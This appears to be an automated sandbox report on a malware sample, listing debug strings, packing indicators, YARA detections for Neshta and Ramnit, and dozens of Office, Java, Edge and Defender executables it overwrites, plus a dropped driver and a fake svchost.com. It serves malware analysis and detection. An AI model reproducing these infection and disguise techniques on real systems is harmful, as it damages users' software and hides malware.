Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\onenote.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: ONENOTE.EXE.7.dr
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\Win32\Release\aimgr.pdb source: aimgr.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\sdxhelper.pdblper.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: SDXHelper.exe.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\cookie_exporter.exe.pdbOGP source: cookie_exporter.exe.0.dr
Source:	Binary string: AppVDllSurrogate32.pdb source: AppVDllSurrogate32.exe.7.dr
Source:	Binary string: d:\dbs\el\ja2\target\x86\ship\delivery\x-none\ose.pdb source: OSE.EXE.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\selfcert.pdbT.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: SELFCERT.EXE.7.dr
Source:	Binary string: MicrosoftEdgeComRegisterShellARM64_unsigned.pdbh source: MicrosoftEdgeComRegisterShellARM64.exe.7.dr
Source:	Binary string: MpCmdRun.pdbGCTL source: MpCmdRun.exe0.0.dr
Source:	Binary string: GoogleUpdateBroker_unsigned.pdb source: GoogleUpdateBroker.exe.7.dr
Source:	Binary string: AppVDllSurrogate64.pdbGCTL source: AppVDllSurrogate64.exe.0.dr
Source:	Binary string: AppVlp.pdb source: AppVLP.exe.7.dr
Source:	Binary string: @ntkrnlmp.pdb source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051117990.000000000210C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\setupexe\x-none\LicLua.pdb source: LICLUA.EXE.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\onenote.pdb source: ONENOTE.EXE.7.dr
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\x64\Release\ai.exe.pdb+ source: ai.exe.7.dr
Source:	Binary string: @winload_prod.pdbj source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051117990.000000000210C000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051138210.0000000002115000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051185492.0000000002116000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\cnfnot32.pdb source: CNFNOT32.EXE.0.dr
Source:	Binary string: AppVDllSurrogate32.pdbGCTL source: AppVDllSurrogate32.exe.7.dr
Source:	Binary string: MpCmdRun.pdb source: MpCmdRun.exe0.0.dr
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\AdobeARMHelper.pdbr source: AdobeARMHelper.exe.7.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\. source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051117990.000000000210C000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051185492.0000000002116000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\deploy\jre-image\bin\javaws.pdb8 source: javaws.exe0.7.dr
Source:	Binary string: @winload_prod.pdb source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051117990.000000000210C000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051138210.0000000002115000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051185492.0000000002116000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: MpDlpCmd.pdbGCTL source: MpDlpCmd.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\winword.pdb source: WINWORD.EXE.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\winword.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: WINWORD.EXE.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\iecontentservice.pdb source: IEContentService.exe.7.dr
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\x64\Release\ai.exe.pdb source: ai.exe.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\ocpubmgr.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: OcPubMgr.exe.7.dr
Source:	Binary string: lper.pdb source: SDXHelper.exe.0.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\setupexe\x-none\LicLua.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: LICLUA.EXE.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2rcross\x-none\appsharinghookcontroller.pdbr.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: AppSharingHookController.exe.0.dr
Source:	Binary string: T.pdb source: SELFCERT.EXE.7.dr
Source:	Binary string: in32.pdb source: officeappguardwin32.exe.7.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\pwahelper.exe.pdbOGP source: pwahelper.exe.7.dr, pwahelper.exe0.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\officeappguardwin32.pdbin32.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: officeappguardwin32.exe.7.dr
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\DatabaseCompare.pdb source: DATABASECOMPARE.EXE.7.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\identity_helper.exe.pdb source: identity_helper.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\sdxhelper.pdb source: SDXHelper.exe.0.dr
Source:	Binary string: MpDlpCmd.pdb source: MpDlpCmd.exe.0.dr
Source:	Binary string: d:\dbs\el\ja2\target\x86\ship\dw\x-none\dw20.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: DW20.EXE.0.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\unpackexe\unpack200.pdb source: unpack200.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\graph.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: GRAPH.EXE.0.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\deploy\jre-image\bin\javaws.pdb source: javaws.exe0.7.dr
Source:	Binary string: AppVlp.pdbGCTL source: AppVLP.exe.7.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\.xs source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051117990.000000000210C000.00000004.00001000.00020000.00000000.sdmp, #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000003.2051185492.0000000002116000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe

Unpacked PE file: 2.2.uvkTKBif.exe.780000.0.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .aspack

Source: uvkTKBif.exe.1.dr	Static PE information: section name: .aspack
Source: uvkTKBif.exe.1.dr	Static PE information: section name: .adata
Source: Uninstall.exe.2.dr	Static PE information: section name: EpNuZ
Source: MyProg.exe.2.dr	Static PE information: section name: PELIB
Source: MyProg.exe.2.dr	Static PE information: section name: Y\|uR

Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Code function: 1_3_0054067A push eax; ret	1_3_005422AF
Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Code function: 1_3_0054178F push eax; ret	1_3_005422AF
Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Code function: 1_2_0054178F push eax; ret	1_2_005422AF
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Code function: 2_2_00786076 push 007814E1h; ret	2_2_00786425
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Code function: 2_2_00781638 push dword ptr [00783084h]; ret	2_2_0078170E
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Code function: 2_2_00782D9B push ecx; ret	2_2_00782DAB
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Code function: 2_2_0078600A push ebp; ret	2_2_0078600D
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	Code function: 4_3_004B067A push eax; ret	4_3_004B22AF
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	Code function: 4_3_004B178F push eax; ret	4_3_004B22AF
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	Code function: 4_2_004B178F push eax; ret	4_2_004B22AF

Source: uvkTKBif.exe.1.dr	Static PE information: section name: .text entropy: 7.81169422100848
Source: Uninstall.exe.2.dr	Static PE information: section name: EpNuZ entropy: 6.934567409269151
Source: MyProg.exe.2.dr	Static PE information: section name: Y\|uR entropy: 6.9346651958510295

Persistence and Installation Behavior

Yara detected Neshta

Source: Yara match	File source: 00000000.00000002.2836381813.0000000000409000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: #U65b0#U7248#U7f51#U5173Srv.exe PID: 6544, type: MEMORYSTR

Yara detected Ramnit

Source: Yara match	File source: 4.2.DesktopLayer.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.#U65b0#U7248#U7f51#U5173Srv.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.#U65b0#U7248#U7f51#U5173Srv.exe.404031.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.DesktopLayer.exe.404031.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.DesktopLayer.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.#U65b0#U7248#U7f51#U5173Srv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: #U65b0#U7248#U7f51#U5173Srv.exe PID: 3712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DesktopLayer.exe PID: 3176, type: MEMORYSTR

Drops PE files with a suspicious file extension

Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe

File created: C:\Windows\svchost.com

Jump to dropped file

Drops executable to a common third party application directory

Source: C:\Windows\svchost.com	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe			Jump to behavior
Source: C:\Windows\svchost.com	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe			Jump to behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe

Executable created and started: C:\Windows\svchost.com

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\MSOHTMED.EXE	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOXMLED.EXE	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-006E-0409-0000-0000000FF1CE}\misc.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0C0A-0000-0000000FF1CE}\misc.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\AutoIt3\Uninstall.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE	Jump to behavior
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to behavior

Sample is not signed and drops a device driver

Source: C:\Windows\svchost.com

File created: C:\Windows\directx.sys

Jump to behavior

Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\MSOHTMED.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOXMLED.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-006E-0409-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE	Jump to dropped file
